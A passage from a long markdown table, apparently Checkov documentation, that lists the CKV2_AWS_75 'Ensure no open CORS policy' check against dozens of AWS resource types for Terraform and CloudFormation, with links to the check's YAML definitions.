[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3439 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_network_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3440 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_network_association                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3441 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_route                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3442 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_route                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3443 | CKV2_AWS_75              | resource                         | aws_ec2_fleet                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3444 | CKV2_AWS_75              | resource                         | aws_ec2_fleet                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3445 | CKV2_AWS_75              | resource                         | aws_ec2_host                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3446 | CKV2_AWS_75              | resource                         | aws_ec2_host                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3447 | CKV2_AWS_75              | resource                         | aws_ec2_image_block_public_access                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3448 | CKV2_AWS_75              | resource                         | aws_ec2_image_block_public_access                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3449 | CKV2_AWS_75              | resource                         | aws_ec2_instance_connect_endpoint                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3450 | CKV2_AWS_75              | resource                         | aws_ec2_instance_connect_endpoint                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3451 | CKV2_AWS_75              | resource                         | aws_ec2_instance_metadata_defaults                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3452 | CKV2_AWS_75              | resource                         | aws_ec2_instance_metadata_defaults                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3453 | CKV2_AWS_75              | resource                         | aws_ec2_instance_state                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3454 | CKV2_AWS_75              | resource                         | aws_ec2_instance_state                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3455 | CKV2_AWS_75              | resource                         | aws_ec2_local_gateway_route                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3456 | CKV2_AWS_75              | resource                         | aws_ec2_local_gateway_route                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3457 | CKV2_AWS_75              | resource                         | aws_ec2_local_gateway_route_table_vpc_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3458 | CKV2_AWS_75              | resource                         | aws_ec2_local_gateway_route_table_vpc_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3459 | CKV2_AWS_75              | resource                         | aws_ec2_managed_prefix_list                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3460 | CKV2_AWS_75              | resource                         | aws_ec2_managed_prefix_list                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3461 | CKV2_AWS_75              | resource                         | aws_ec2_managed_prefix_list_entry                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3462 | CKV2_AWS_75              | resource                         | aws_ec2_managed_prefix_list_entry                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3463 | CKV2_AWS_75              | resource                         | aws_ec2_network_insights_analysis                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3464 | CKV2_AWS_75              | resource                         | aws_ec2_network_insights_analysis                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3465 | CKV2_AWS_75              | resource                         | aws_ec2_network_insights_path                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3466 | CKV2_AWS_75              | resource                         | aws_ec2_network_insights_path                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3467 | CKV2_AWS_75              | resource                         | aws_ec2_serial_console_access                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3468 | CKV2_AWS_75              | resource                         | aws_ec2_serial_console_access                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3469 | CKV2_AWS_75              | resource                         | aws_ec2_subnet_cidr_reservation                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3470 | CKV2_AWS_75              | resource                         | aws_ec2_subnet_cidr_reservation                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3471 | CKV2_AWS_75              | resource                         | aws_ec2_tag                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3472 | CKV2_AWS_75              | resource                         | aws_ec2_tag                                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3473 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_filter                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3474 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_filter                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3475 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_filter_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3476 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_filter_rule                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3477 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_session                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3478 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_session                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3479 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_target                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3480 | CKV2_AWS_75              | resource                         | aws_ec2_traffic_mirror_target                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3481 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3482 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3483 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_connect                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3484 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_connect                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3485 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_connect_peer                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3486 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_connect_peer                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3487 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_default_route_table_association                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3488 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_default_route_table_association                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3489 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_default_route_table_propagation                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3490 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_default_route_table_propagation                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3491 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_domain                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3492 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_domain                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3493 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_domain_association                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3494 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_domain_association                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3495 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_group_member                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3496 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_group_member                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3497 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_group_source                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3498 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_multicast_group_source                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3499 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_peering_attachment                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3500 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_peering_attachment                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3501 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_peering_attachment_accepter                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3502 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_peering_attachment_accepter                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3503 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_policy_table                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3504 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_policy_table                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3505 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_policy_table_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3506 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_policy_table_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3507 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_prefix_list_reference                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3508 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_prefix_list_reference                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3509 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3510 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3511 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3512 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3513 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table_association                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3514 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table_association                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3515 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table_propagation                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3516 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_route_table_propagation                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3517 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_vpc_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3518 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_vpc_attachment                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3519 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_vpc_attachment_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3520 | CKV2_AWS_75              | resource                         | aws_ec2_transit_gateway_vpc_attachment_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3521 | CKV2_AWS_75              | resource                         | aws_ecr_account_setting                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3522 | CKV2_AWS_75              | resource                         | aws_ecr_account_setting                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3523 | CKV2_AWS_75              | resource                         | aws_ecr_lifecycle_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3524 | CKV2_AWS_75              | resource                         | aws_ecr_lifecycle_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3525 | CKV2_AWS_75              | resource                         | aws_ecr_pull_through_cache_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3526 | CKV2_AWS_75              | resource                         | aws_ecr_pull_through_cache_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3527 | CKV2_AWS_75              | resource                         | aws_ecr_registry_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3528 | CKV2_AWS_75              | resource                         | aws_ecr_registry_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3529 | CKV2_AWS_75              | resource                         | aws_ecr_registry_scanning_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               